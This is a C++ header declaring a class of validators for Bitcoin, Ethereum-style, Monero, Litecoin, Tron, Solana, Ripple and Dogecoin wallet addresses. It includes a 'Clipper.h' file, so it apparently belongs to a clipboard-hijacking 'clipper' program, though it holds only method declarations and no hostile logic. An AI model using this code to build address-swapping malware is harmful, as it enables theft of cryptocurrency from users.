#pragma once
#include "Clipper.h"
#include <string>
#include <regex>

class CryptocurrencyValidator
{
public:
    static bool Validate(Cryptocurrency type, const std::wstring& address);

    static bool ValidateBitcoin(const std::wstring& address);
    static bool ValidateEVM(const std::wstring& address);
    static bool ValidateMonero(const std::wstring& address);
    static bool ValidateLitecoin(const std::wstring& address);
    static bool ValidateTron(const std::wstring& address);
    static bool ValidateSolana(const std::wstring& address);
    static bool ValidateRipple(const std::wstring& address);
    static bool ValidateDogecoin(const std::wstring& address);

private:
    static bool ValidateBitcoinLegacy(const std::wstring& address);
    static bool ValidateBitcoinSegWit(const std::wstring& address);
    static bool ValidateBitcoinNative(const std::wstring& address);

    static bool ValidateLitecoinLegacy(const std::wstring& address);
    static bool ValidateLitecoinSegWit(const std::wstring& address);

    static bool CheckBitcoinLegacyPrefix(const std::wstring& address);
    static bool CheckBitcoinSegWitPrefix(const std::wstring& address);
    static bool CheckLitecoinLegacyPrefix(const std::wstring& address);
    static bool CheckTronPrefix(const std::wstring& address);
    static bool CheckRipplePrefix(const std::wstring& address);
    static bool CheckDogecoinPrefix(const std::wstring& address);

    static bool CheckAddressLength(const std::wstring& address, size_t minLen, size_t maxLen);
    static bool CheckCharacterSet(const std::wstring& address, const std::wstring& allowedChars);
    static bool CheckHexFormat(const std::wstring& address);
    static bool CheckBase58Format(const std::wstring& address);

    static bool MatchesPattern(const std::wstring& address, const std::wregex& pattern);
};